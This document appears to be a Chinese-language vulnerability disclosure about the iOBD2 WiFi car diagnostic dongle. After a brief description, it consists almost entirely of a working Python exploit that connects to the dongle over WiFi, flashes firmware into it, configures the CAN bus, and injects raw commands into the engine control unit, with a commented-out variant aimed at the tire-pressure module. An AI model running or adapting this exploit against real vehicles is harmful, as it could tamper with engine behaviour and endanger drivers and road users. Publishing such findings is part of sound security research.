iobd2是朗仁科技新推出的可与iphone操作系统配套的面向个人车主的诊断工具,与iphone手机采用wifi无线方式通讯;支持OBDII/EOBD协议;记录数据通过手机客户端软件读取,在车辆行驶状态下实时采集汽车发动机数据,如发动机的转速、点火时间、燃油修正、发动机转速、及时油耗、冷却液温度等。
通过对iobd2的芯片代码进行逆向发现除了该盒子除了支持标准OBDII之外,还支持自定义can发送,这给车主带来潜在的安全隐患,利用代码实例如下
import socket
import struct
packetID = 0
def send(s,frames):
global packetID
sendData = struct.pack("B" , len(frames))
for frame in frames:
sendData += struct.pack(">H" , len(frame))
sendData += frame
sendPacket = "\x55\xaa" + struct.pack(">HHH" , packetID , len(sendData) , len(sendData)^0xFFFF) + sendData
cs = 0
for i in range(0 , len(sendPacket)):
cs = struct.unpack("B" , sendPacket[i])[0]^cs
sendPacket += struct.pack("B" , cs)
packetID = packetID + 1
s.send(sendPacket)
print "send:" + repr(sendPacket)
recvPacket = s.recv(1024)
print "recv:" + repr(recvPacket)
def readBoxSeriesOrder(s):
print "********readBoxSeriesOrder********"
cmdBuffer = "\x60\xC1"
send(s,[cmdBuffer])
def setBoxToBoot(s):
print "********setBoxToBoot********"
cmdBuffer = "\x60\xC8"
send(s,[cmdBuffer])
def readWaitTime(s):
print "********readWaitTime********"
cmdBuffer = "\x60\xCD"
send(s,[cmdBuffer])
def readRestrictVoltage(s):
print "********readRestrictVoltage********"
cmdBuffer = "\x60\xCF"
send(s,[cmdBuffer])
def setRestrictVoltage(s):
print "********setRestrictVoltage********"
cmdBuffer = "\x60\xce\x07\x0d"
send(s,[cmdBuffer])
def setBoxToDownload(s , addr , raw):
print "********setBoxToDownload********"
cmdBuffer = "\x60\xCA"
cmdBuffer += struct.pack(">I" , addr) + raw
send(s,[cmdBuffer])
def setBoxToMcu(s):
print "********setBoxToMcu********"
cmdBuffer = "\x60\xC9"
send(s,[cmdBuffer])
def setCommTime(s , p4 , p3 , p2 , p1):
print "********setCommTime********"
cmdBuffer = "\x60\x03" + struct.pack(">HHHH" , p1 , p2 , p3 , p4)
send(s,[cmdBuffer])
def setProtocol(s , protocol , reset):
print "********setProtocol********"
cmdBuffer = "\x60\x05" + struct.pack(">BB" , protocol , reset)
send(s,[cmdBuffer])
def setBaudRate(s , bps , parity , databit):
print "********setBaudRate********"
cmdBuffer = "\x60\x02" + struct.pack(">IBB" , bps , parity , databit)
send(s,[cmdBuffer])
def setCommPort(s , sendLine, recvLine, linkControl):
print "********setCommPort********"
cmdBuffer = "\x60\x01" + struct.pack("<HB" , linkControl , (sendLine << 4)|(recvLine & 255))
send(s,[cmdBuffer])
def setCanFilterId(s , *arg):
print "********setCanFilterId********"
cmdBuffer = "\x60\x08"
fortimes = arg[0]&0x7F
cmdBuffer += struct.pack("B" , fortimes)
for i in range(0 , fortimes):
j = 2*i +1
canId = arg[j]
cmdBuffer += struct.pack(">H" , canId)
if arg[0]&0x80 != 0:
mask = arg[j+1]
else:
mask = 0x7FF
cmdBuffer += struct.pack(">H" , mask)
send(s,[cmdBuffer])
def autoFlowControl(s , flag , flowControl):
print "********autoFlowControl********"
cmdBuffer = "\x60\x09\x03\x01\x10\x0b\x08\x07\xe0\x30\x00\x05\x00\x00\x00\x00\x00\xff"
send(s,[cmdBuffer])
def sendStdCanCommand(s , canbusId , cmd ,flag = 0xD14):
print "********sendCommand********"
cmdBuffer = "\x61\x04\x00\x0b\x08" + struct.pack(">H" , canbusId) + cmd + struct.pack("B" , flag&0xFF)
send(s,[cmdBuffer])
RAW_START_ADDRESS = 0x08004000
def downloadBin(s , fileName = "lower_b.bin"):
global packetID
f = open("lower_b.bin" , "rb")
addr = RAW_START_ADDRESS
i=0
while True:
raw = f.read(0x800)
if len(raw) == 0:
break
else:
if i == 7:
packetID = 0xf
setBoxToDownload(s , addr , raw)
addr += len(raw)
if i == 13:
break
i = i+1
f.close()
if __name__ == '__main__':
address = ('192.168.0.10', 35000)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(address)
readBoxSeriesOrder(s)
setBoxToBoot(s)
readWaitTime(s)
readRestrictVoltage(s)
setRestrictVoltage(s)
setBoxToBoot(s)
downloadBin(s)
setBoxToMcu(s)
setCommTime(s ,0x5 ,0x37,0xC8,0xC8)
readBoxSeriesOrder(s)
setProtocol(s,7,1)#canbus
setBaudRate(s , 0x01040312 , 0 , 8)
setCommPort(s , 3 , 1 , 0x8C00)
packetID = 0x1e
setCanFilterId(s , 0x81 ,0x0700 , 0x0700)
autoFlowControl(s , 0,[0x08 , 0x07,0xE0,0x30,0x00,0x05,0x00,0x00,0x00,0x00,0x00])
#sendStdCanCommand(s , 0x7DF , "\x02\x01\x00\x00\x00\x00\x00\x00")
"""
sendStdCanCommand(s , 0x7D6 , "\x02\x10\x90\x00\x00\x00\x00\x00")
sendStdCanCommand(s , 0x7D6 , "\x04\x30\x01\x06\x11\x00\x00\x00")#tpms
"""
sendStdCanCommand(s , 0x7E0 , "\x02\x10\x90\x00\x00\x00\x00\x00")
sendStdCanCommand(s , 0x7E0 , "\x04\x30\x39\x07\xFF\x00\x00\x00")
sendStdCanCommand(s , 0x7E0 , "\x04\x30\x3A\x07\xFF\x00\x00\x00")
sendStdCanCommand(s , 0x7E0 , "\x04\x30\x3B\x07\xFF\x00\x00\x00")
sendStdCanCommand(s , 0x7E0 , "\x04\x30\x3C\x07\xFF\x00\x00\x00")
s.close()